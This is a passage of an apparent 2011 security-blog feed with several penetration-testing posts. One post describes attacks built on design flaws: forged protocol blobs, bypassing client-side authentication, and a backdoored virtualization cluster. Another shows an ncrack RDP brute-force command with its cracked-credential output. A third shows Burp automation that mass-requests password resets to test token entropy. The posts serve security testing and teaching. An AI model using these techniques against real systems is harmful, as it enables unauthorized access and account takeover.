src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1721087994989737743</id><published>2011-09-22T17:07:00.002-04:00</published><updated>2011-09-22T17:14:35.339-04:00</updated><title type='text'>My Personal War Against Overuse of Memory Corruption Bugs</title><content type='html'>&lt;div&gt;I remember many years ago writing my first buffer overflow, a standard stack bug privilege escalation in I think RedHat 7x which I thought was awesome. I remember writing my first SEH overwrite on windows and marveling at POP POP RET's and spending hours pouring through memory in Windbg wondering why my shellcode was getting trashed. I even remember the moment when I "got" return to libc. Somewhat in contrast to many "researcher" exploit developers and bug hunters, I also break into computers, lots of them. At last count I was well over the 100,000 mark of computers I have personally gotten into, control over and extracted data from. This is not to tell you how awesome I think I am (I'm not, there are IRC script kiddies with 10x the amount of compromises under their belt) but rather provide a statistical frame of reference for what I am going to say next.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Several years ago I decided to pull back from the memory corruption rat race, but I never really talked about why.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When breaking into computers, I almost never use memory corruption bugs. I occasionally, but rarely develop new memory corruption bugs into exploits. Memory corruption bugs IMO are a bad long term return on investment. Sure someone like Charlie Miller can crank out 100 Adobe product crashes in the blink of an eye, but how much skilled time investment is required to take a bug from a crash to a highly reliable, continuation of execution, ASLR / DEP bypassing exploit ready for serious use? Average numbers I have heard from friends who do this all day long are 1 - 3 months, with 6 months for particularly sticky bugs. How many people are there that can do this? Not many. So you have a valuable resource tied up for months at a time to produce a bug which may get discovered and published in the interm ( a process you have no real control over), patched and killed. When was the last time you heard about a really bitchin Windows 7 64bit remote? Its been a while. So you put in all that time and investment to produce a nice 0day only to watch it get killed. Then you start looking for the next one. What's the going price on the market for an 0day? 100k, 200k, etc. Expensive for something with a potentially limited life putting aside that fact that people don't patch anyway for a moment.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So what do I like instead then? I like design flaws that are integral to the way a system works and are extremely costly to fix, that don't barf a bunch of shellcode across a potentially IDS/IPS ridden wire, that simply take advantage of the way things are supposed to work anyway. Lest you think I spend all my time keylogging "password123" let me give some real world examples:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Proprietary &amp;amp; custom hardware/OS and software system used for some interesting applications. System has a UDP listening service. After reversing the service binary we discovered that it takes a cleartext, unauthenticated protocol blob. The process then, based on whats in the blob, calls another process that execs a variety of system commands. One of these commands sends out a message to the various systems in the network to mount a given network file system and load specified software. So we craft our own protocol blobs build our own network file system with specially crafted malicious software and take over all the systems at once. We spoke with the designers of the system about what it would take to change it, and due to various rules and policies we were looking at 18-24 months to push out a redesign, and thats after whatever time was needed to develop the new system.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Foreign Client/Server ERP system that handles supply chain and even has some tie ins with some SCADA components. Authentication works as follows: Client enters a username and password. Client app connects to the server and sends an authentication request with the provided Username. The server checks to see if the username exists and if so it sends a hash of the user's password back to the client app. The client app checks to see if the local password hash matches the one sent from the server and if it matches the client informs the server the the account is valid and the server then successfully authenticates the client. So yes, very broken client side authentication. But to figure that out we had to analyse the network traffic between the two as well as reverse engineer the client application and binary patch the client app to always respond with a positive match. And the data or effects gained from compromising this system are way more interesting than your windows 7 home gaming system.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Large company virtualization cluster using hardware from a well known vendor. Servers provide remote console / kvm functionality for management. Because of a previously unknown authentication vulnerability in the remote console app we were able to boot the server to remote media under our control (i.e. a linux boot disk). We had reverse engineered the virtualization technology in question and developed a custom backdoor which we then implanted by mounting the hard drive from our remotly loaded linux boot environment, allowing us to take control of the cluster.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;With the exception of the last server reboot none of these above examples generated any traffic or logs that were flagged by any security system. No IDS or AV to evade. No DEP or ASLR to get around. And low chance of these bugs getting killed due to the cost and time frame involved in fixing them. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I believe that researchers should consider putting some of their time and resources into the above types of design flaws as well as in sophisticated post-exploitation activities. The market value for memory corruption bugs will go up for a while but so will the difficulty and time required to find them, and we have often seen patch release times decrease as well. Eventually that bubble will burst.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;V.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1721087994989737743?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1721087994989737743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1721087994989737743' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1721087994989737743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1721087994989737743'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/09/my-personal-war-against-overuse-of.html' title='My Personal War Against Overuse of Memory Corruption Bugs'/><author><name>valsmith</name><uri>http://www.blogger.com/profile/08392905099646494750</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4669172308186229253</id><published>2011-09-15T11:20:00.012-04:00</published><updated>2011-09-28T15:21:14.862-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='carnal0wnage'/><category scheme='http://www.blogger.com/atom/ns#' term='Chris Gates'/><category scheme='http://www.blogger.com/atom/ns#' term='Security Conferences'/><title type='text'>Where have you been!?</title><content type='html'>I've been busy... :-(&lt;br /&gt;&lt;br /&gt;But i do have some upcoming conference speaking engagements coming up.&lt;br /&gt;&lt;br /&gt;So. If you are heading to &lt;a href="http://2011.brucon.org/index.php/Main_Page"&gt;BruCon&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-pl7sbr_XDv8/TnIYwezIMSI/AAAAAAAAAos/1Cpf_QxE25Q/s1600/brucon.jpg"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 300px; FLOAT: left; HEIGHT: 216px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5652607703483691298" border="0" alt="" src="http://2.bp.blogspot.com/-pl7sbr_XDv8/TnIYwezIMSI/AAAAAAAAAos/1Cpf_QxE25Q/s400/brucon.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;catch me and &lt;a href="https://twitter.com/#%21/j0emccray"&gt;Joe McCray&lt;/a&gt; talk about &lt;a href="http://2011.brucon.org/index.php/Content#Pentesting_High_Security_Environments_.28Joe_McCray_and_Chris_Gates.29"&gt;Pentesting High Security Environments&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;If you are heading to &lt;a href="http://www.derbycon.com/"&gt;DerbyCon&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-OCdiTiqbaAc/TnIZq_ER0TI/AAAAAAAAAo0/BfISednePN4/s1600/DerbyCon.png"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 270px; FLOAT: left; HEIGHT: 102px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5652608708577972530" border="0" alt="" src="http://1.bp.blogspot.com/-OCdiTiqbaAc/TnIZq_ER0TI/AAAAAAAAAo0/BfISednePN4/s400/DerbyCon.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Catch me and &lt;a href="https://twitter.com/#%21/mubix"&gt;Rob Fuller&lt;/a&gt; talk about &lt;a href="http://www.derbycon.com/talks/"&gt;The Dirty Little Secrets They Didn’t Teach You In Pentesting Class&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lastly, if you'll be in Switzerland for &lt;a href="https://www.hashdays.ch/"&gt;Hashdays&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-DhvxbjIfMSg/TnIbeimLvoI/AAAAAAAAAo8/285-EhhDu3w/s1600/hashdayslogo_site.png"&gt;&lt;img style="MARGIN: 0px 10px 10px 0px; WIDTH: 194px; FLOAT: left; HEIGHT: 76px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5652610693800377986" border="0" alt="" src="http://2.bp.blogspot.com/-DhvxbjIfMSg/TnIbeimLvoI/AAAAAAAAAo8/285-EhhDu3w/s400/hashdayslogo_site.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can catch me talk about &lt;a href="https://www.hashdays.ch/agenda/#chrisgates"&gt;From Low to Pwned.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll also be giving a talk at the Management workshop on Information Operations for Management (sorry the info isn't on the site yet but should be here &lt;a href="https://www.hashdays.ch/management-session.html"&gt;https://www.hashdays.ch/management-session.html&lt;/a&gt; at some point).&lt;br /&gt;&lt;br /&gt;I'm sure there will be more stuff in November/December its just not scheduled yet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4669172308186229253?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4669172308186229253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4669172308186229253' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4669172308186229253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4669172308186229253'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/09/where-have-you-been.html' title='Where have you been!?'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-pl7sbr_XDv8/TnIYwezIMSI/AAAAAAAAAos/1Cpf_QxE25Q/s72-c/brucon.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-6186006409435891218</id><published>2011-08-29T11:43:00.006-04:00</published><updated>2011-08-29T11:56:11.403-04:00</updated><title type='text'>Using ncrack to test for servers vuln to Morto worm</title><content type='html'>Looks like the Morto worm is floating around. I frequently run into just seeing 3389 open on pentests and if the local admin account is "administrator" you can beat up on it pretty good with &lt;a href="http://nmap.org/ncrack/"&gt;ncrack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;hdm did a post on why/how you can find those pesky local admin accounts with weak password by using the smb_login module. post is &lt;a href="https://community.rapid7.com/community/metasploit/blog/2011/08/29/morto-another-reason-to-secure-local-user-accounts"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you live where someone is gonna give you a hassle because SMB is not allowed out, you can always use ncrack to prove your point. I did a short &lt;a href="http://carnal0wnage.attackresearch.com/2011/02/move-over-tsgrindertscrack-hello-ncrack.html"&gt;post&lt;/a&gt; on it awhile back.&lt;br /&gt;&lt;br /&gt;Anway, grab it from nmap svn, and compile, dont think the RDP plugin for it was enabled in the downloadable binaries (i didnt check...i use the svn).&lt;br /&gt;&lt;br /&gt;The F-Secure blog has the list of passwords its using &lt;a href="http://www.f-secure.com/weblog/archives/00002227.html"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Looks like this:&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; COLOR: rgb(255,255,255); OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px" size="12px" face="courier"&gt;&lt;code&gt;&lt;br /&gt;$ ncrack -vv -d7 --user administrator -P /home/user/morto.txt 192.168.26.137:3389,CL=2&lt;br /&gt;&lt;br /&gt;rdp://192.168.26.137:3389 (EID 1) Login failed: 'administrator' 'admin'&lt;br /&gt;rdp://192.168.26.137:3389 (EID 1) Attempts: total 1 completed 1 supported 1 --- rate 0.94&lt;br /&gt;rdp://192.168.26.137:3389 (EID 2) Login failed: 'administrator' 'password'&lt;br /&gt;rdp://192.168.26.137:3389 last: 0.00 current 0.50 parallelism 2&lt;br /&gt;...&lt;br /&gt;Discovered credentials on rdp://192.168.26.137:3389 'administrator' 'admin123'&lt;br /&gt;rdp://192.168.26.137:3389 last: 0.02 current 0.01 parallelism 2&lt;br /&gt;rdp://192.168.26.137:3389 Increasing connection limit to: 2&lt;br /&gt;rdp://192.168.26.137:3389 (EID 30) Attempts: total 30 completed 30 supported 1 --- rate 1.62&lt;br /&gt;rdp://192.168.26.137:3389 (EID 31) Login failed: 'administrator' '1234567890'&lt;br /&gt;rdp://192.168.26.137:3389 finished.&lt;br /&gt;rdp://192.168.26.137:3389 (EID 31) Attempts: total 31 completed 31 supported 1 --- rate 1.81&lt;br /&gt;nsock_loop returned 3&lt;br /&gt;&lt;br /&gt;Discovered credentials for rdp on 192.168.26.137 3389/tcp:&lt;br /&gt;192.168.26.137 3389/tcp rdp: 'administrator' 'admin123'&lt;br /&gt;&lt;br /&gt;Ncrack done: 1 service scanned in 18.00 seconds.&lt;br /&gt;Probes sent: 31 timed-out: 0 prematurely-closed: 0&lt;br /&gt;&lt;br /&gt;Ncrack finished.&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-6186006409435891218?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/6186006409435891218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6186006409435891218' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6186006409435891218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/6186006409435891218'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/08/using-ncrack-to-test-for-servers-vuln.html' title='Using ncrack to test for servers vuln to Morto worm'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7520674205137128870</id><published>2011-07-11T08:04:00.001-04:00</published><updated>2011-07-11T22:15:38.675-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Abusing Password Resets</title><content type='html'>Dave Ferguson has beaten up on forgotten/reset password functionality for some time and recently participated in an OWASP podcast where he discussed these problems. The podcast reminded me of some techniques I've used in the past which have been successful and may be worth sharing. Accessing other user's accounts with insecurely coded forgot/reset password functionality is more common than you might think. &lt;br /&gt;&lt;br /&gt;This posts focuses on analyzing entropy and inline password resets, two major problems with forgot/reset password functionality. To do this, we have to automate both requesting a forgot password hundreds of times and parsing thru all of the e-mails we receive. Thanks to the recently added macro support now available in Burp (thanks PortSwigger), less effort is required on our part when an application employs anti-automation features to prevent such attempts. &lt;br /&gt;&lt;br /&gt;For those not familiar with BurpSuite's Macro support, lets walk thru this. &lt;br /&gt;&lt;br /&gt;So here is a picture of the email reset we've been sent: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-jtuj6_ARBAY/ThmvI_QPpXI/AAAAAAAAAW4/38ProEbuqQc/s1600/password_email.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://3.bp.blogspot.com/-jtuj6_ARBAY/ThmvI_QPpXI/AAAAAAAAAW4/38ProEbuqQc/s400/password_email.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;To initiate a password reset request it is a four part request &amp;amp; response pair sequence. This sequence is saved in our proxy history. We need to navigate to Options &amp;gt; Sessions &amp;gt; Macros &amp;gt; New and highlight the four messages saved in the proxy history to create and configure the new macro. &lt;br /&gt;&lt;br /&gt;Take a look at the screenshot below: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1cqDWKG-L0k/ThmrsLzAKtI/AAAAAAAAAWk/mCy91wBO14U/s1600/macro_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="273" src="http://1.bp.blogspot.com/-1cqDWKG-L0k/ThmrsLzAKtI/AAAAAAAAAWk/mCy91wBO14U/s640/macro_1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: center;"&gt;Okay now we need to configure each individual request/response to extract data we want. We have to grab a JSESSIONID and a struts token. Lets highlight the first request/response and configure.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-oDH7Y-ktuQU/ThmseuX4aMI/AAAAAAAAAWo/99aTqSPh99M/s1600/macro_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="482" src="http://3.bp.blogspot.com/-oDH7Y-ktuQU/ThmseuX4aMI/AAAAAAAAAWo/99aTqSPh99M/s640/macro_2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Example of configuring one of the items&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-z8ldjE_SLNY/ThmsuxPQWpI/AAAAAAAAAWs/0tbecf28vQg/s1600/macro_3.png" imageanchor="1" style="clear: left; margin-bottom: 1em;"&gt;&lt;img border="0" height="480" src="http://4.bp.blogspot.com/-z8ldjE_SLNY/ThmsuxPQWpI/AAAAAAAAAWs/0tbecf28vQg/s640/macro_3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;You'll notice that for the first request I've chosen to not use cookies in the cookie jar. This is because I want to start the sequence clean and without a cookie.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-dKcW0E8sM08/ThmtIEsagZI/AAAAAAAAAWw/0Zyfs8gLNk0/s1600/macro_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="484" src="http://2.bp.blogspot.com/-dKcW0E8sM08/ThmtIEsagZI/AAAAAAAAAWw/0Zyfs8gLNk0/s640/macro_7.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Notice the struts.token.name and struts.token are dynamic and changing so we derive these from the response. The rest are preset values like email and birthdate (no, not my real birthdate). One thing that is important to notice is that I've decided to uncheck URL encode for the email portion. It is already URL encoded so no need. Otherwise it will cause problems.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-zzLwt-kCbpE/ThmuJ6HwMtI/AAAAAAAAAW0/kW8BjirCYQg/s1600/macro_8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="98" src="http://1.bp.blogspot.com/-zzLwt-kCbpE/ThmuJ6HwMtI/AAAAAAAAAW0/kW8BjirCYQg/s640/macro_8.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Name the Macro&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;The next piece requires you to add the macro to a session rule. Again Options &amp;gt; Sessions &amp;gt; Session Handling &amp;gt; New. Highlight the macro you'd like to use.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-A0ib7Cjnj50/Thmvcv9a4NI/AAAAAAAAAW8/_8sAKPGQefg/s1600/macro_10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="534" src="http://2.bp.blogspot.com/-A0ib7Cjnj50/Thmvcv9a4NI/AAAAAAAAAW8/_8sAKPGQefg/s640/macro_10.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;Next, you'll need to add the pages to scope:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-AW236QHdp7s/Thmvxn2nnzI/AAAAAAAAAXA/w1tIpCfJ86Q/s1600/macro_11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="532" src="http://3.bp.blogspot.com/-AW236QHdp7s/Thmvxn2nnzI/AAAAAAAAAXA/w1tIpCfJ86Q/s640/macro_11.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;Now send the original, first request (I do this at the proxy history portion of Burp) over to intruder, select null payloads and set it for a number that is large enough to collect a big portion of passwords so we can review entropy. You'll see below that Intruder is configured to send the password reset sequence 800 times. Again, this will initiate the macro each time, so you are essentially resetting the password 800 times.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Acj6I-oC6NY/ThmwzMb2unI/AAAAAAAAAXE/F-2iaSppSAo/s1600/macro_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="578" src="http://3.bp.blogspot.com/-Acj6I-oC6NY/ThmwzMb2unI/AAAAAAAAAXE/F-2iaSppSAo/s640/macro_12.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Next we need to retrieve the emails from gmail and review them for entropy. Here is a script I've written to retrieve emails from gmail, parse for the password values and write to a file called tokens.txt:&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-fvxkwPJVTrI/ThmxtSBn59I/AAAAAAAAAXI/21HIEGxCq_0/s1600/get_emails.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-fvxkwPJVTrI/ThmxtSBn59I/AAAAAAAAAXI/21HIEGxCq_0/s640/get_emails.png" width="484" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lines 11-17:&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Line 12: File we will place all of our emails in (make sure you create an inbox folder) &lt;br /&gt;Line 13: Initialize Pop class &lt;br /&gt;Line 14: Enable SSL &lt;br /&gt;Line 15: Replace with your username and password &lt;br /&gt;Line 16: Call the check_for_emails method with the pop obj &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lines 20-27:&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Line 21-22: If we no emails, print that fact out to the screen &lt;br /&gt;Line 24-25: We have emails, print that fact to the screen and call place_emails_into_file method with the pop object. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lines 31-36:&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Line 31: Iterate thru pop array &lt;br /&gt;Line 32: Open the file (line 12) &lt;br /&gt;Line 33: Write the messages to the file &lt;br /&gt;Line 36: Call the create_file_with_tokens method &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-W_S3tBHAmnU/ThmzVdVuFlI/AAAAAAAAAXM/yI2cpjPI2Vs/s1600/get_emails_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="324" src="http://1.bp.blogspot.com/-W_S3tBHAmnU/ThmzVdVuFlI/AAAAAAAAAXM/yI2cpjPI2Vs/s640/get_emails_2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Lines 40-53:&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Line 41: Create a new_file object which is a file called tokens.txt &lt;br /&gt;Line 42: Create a read_file object which reads the inbox/emails.txt file from Line 12 &lt;br /&gt;Line 43: Begin reading each line from the read_file &lt;br /&gt;Lines 44-46: If the line matches the "password: somepassword" write it to a file. &lt;br /&gt;Line 53: Kick the whole thing off &lt;br /&gt;&lt;br /&gt;Review the tokens.txt file &lt;br /&gt;&lt;br /&gt;&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;  &lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ZdZlO83K3EY/Thm0c_QfmCI/AAAAAAAAAXQ/PfPoTUKA9Ss/s1600/tokens.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="550" src="http://2.bp.blogspot.com/-ZdZlO83K3EY/Thm0c_QfmCI/AAAAAAAAAXQ/PfPoTUKA9Ss/s640/tokens.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;We can see that the new passwords sent aren't very random. We can load this in burp sequencer but there really isn't any point when it is this easy. It is obvious that the developer has two separate arrays of words and and another array of numbers. They pick "randomly" from that pile and concatenate the values. Here is the actual line of code I wrote to do this and yes this is a real-life example that I've come 